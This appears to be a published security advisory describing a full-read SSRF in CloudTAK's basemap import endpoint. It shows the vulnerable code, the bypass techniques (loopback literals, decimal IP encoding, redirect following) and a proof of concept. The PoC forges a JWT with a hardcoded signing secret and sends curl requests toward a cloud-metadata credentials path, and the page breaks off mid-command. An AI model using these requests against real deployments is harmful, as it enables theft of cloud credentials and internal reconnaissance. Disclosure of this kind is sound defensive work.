medium

CVE-2026-54546

npm · @tak-ps/cloudtak

Summary

TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard

Severity
medium
CVSS
5
EPSS
0.4% (p31)
CWE
CWE-918
Also known as
GHSA-vqrw-qphh-p34v
Published
2026-07-17
Updated
2026-07-17

Advisory details

Summary

PUT /api/basemap (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body { "type": "...", "url": "<attacker url>" }; the server calls fetch(url) against that URL and then reflects the response body (name, attribution, tiles[0], zoom levels) back to the caller in the OptionalTileJSON response.

Because there is no IP-address classification, internal-only services are reachable: cloud metadata (http://169.254.169.254/...), loopback (http://127.0.0.1/...), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.

The only URL check in the basemap protocol layer (BasemapProtocol.isValidURL, api/lib/interface-basemap.ts) validates the scheme is http/https only and performs no host/IP filtering — and the import path does not even call it; it goes straight from new URL(rawURL) to fetch(url).

Three independent bypass classes were confirmed end-to-end against a real deployed build:

  1. Direct internal/loopback IP literals.
  2. Alternate IP encodings (e.g. decimal http://2130706433/ = 127.0.0.1).
  3. Redirect following — fetch uses the default redirect: 'follow', so even a public initial host that 302-redirects to an internal address is followed with no re-validation.

Vulnerable code (file:line)

api/routes/basemap.ts — importBasemapURL() and the PUT /basemap handler (line numbers at commit 90d43bdd2fb7d9bd57cbce28c709d9e5207a475a):

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136

// api/routes/basemap.ts
async function importBasemapURL(
    config: Config,
    rawURL: string,
    auth?: Static<typeof BasemapImportAuth>,
): Promise<Static<typeof OptionalTileJSON>> {
    const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };

    let url: URL;
    try {
        url = new URL(rawURL);            // (1) only well-formedness is checked
    } catch (err) {
        throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');
    }

    if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }

    const tjres = await fetch(url);        // (2) SSRF sink — no host/IP guard, default redirect:follow
    if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');

    const tjbody = await tjres.json() as Record<string, any>;
    if (tjbody.name) imported.name = tjbody.name;               // (3) internal response reflected to caller
    if (tjbody.attribution) imported.attribution = tjbody.attribution;
    if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {
        imported.url = tjbody.tiles[0]...;
    }
    return imported;
}

The handler at api/routes/basemap.ts L139–L233 mounts this as PUT /api/basemap and gates it only with Auth.is_auth(config, req) (L157), i.e. any authenticated user with application/json body { type, url } reaches importBasemapURL((req.body).url, (req.body).auth).

BasemapProtocol.isValidURL at api/lib/interface-basemap.ts L136 — the only "validation" in the protocol layer — checks the scheme only and performs no IP filtering:

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148

How input reaches the sink

  1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.
  2. Attacker sends PUT /api/basemap with Content-Type: application/json and body { "type": "...", "url": "<attacker url>" }.
  3. Handler api/routes/basemap.ts L155–L233 calls Auth.is_auth(config, req) (L157, any authenticated user passes) then importBasemapURL(config, (req.body).url, (req.body).auth) (L233).
  4. importBasemapURL (L68) does new URL(rawURL) (L79) and, for non-ESRI URLs, reaches const tjres = await fetch(url) (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; fetch uses the default redirect: 'follow'.
  5. The response JSON is parsed (L104) and name / attribution / tiles[0] are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.

Impact

Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:

Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.

Proof of concept

End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to 127.0.0.1:9000 (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.

  1. Pinned install / build (v13.5.0, commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b):
git clone https://github.com/dfpc-coe/CloudTAK.git
cd CloudTAK && git checkout v13.5.0
cd api && npm ci
# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)
  1. Deploy the real API server (test stack: SigningSecret defaults to the hardcoded coe-wildland-fire, migrations auto-apply, a default server row is auto-generated):
cd api
StackName=test \
SigningSecret=coe-wildland-fire \
POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \
API_URL='http://localhost:5001' \
npx tsx index.ts --noevents --nosinks --nogeofence
# => "ok - http://localhost:5001"
  1. Internal-only sentinel (internal_sentinel.js) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:
const http = require('http');
const fs = require('fs');
const srv = http.createServer((req, res) => {
  fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',
    `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`);
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({
    name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',
    attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',
    tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],
    minzoom: 0, maxzoom: 19
  }));
});
srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));
node internal_sentinel.js &
# A redirector for the redirect-follow variant, also loopback-only:
node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" &
  1. Attacker driver — mint a normal user JWT (signed with the deployed SigningSecret) and issue the three requests:
TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))")

# (a) loopback / metadata-style path
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}'

# (b) decimal-IP encoding of 127.0.0.1
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $T

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.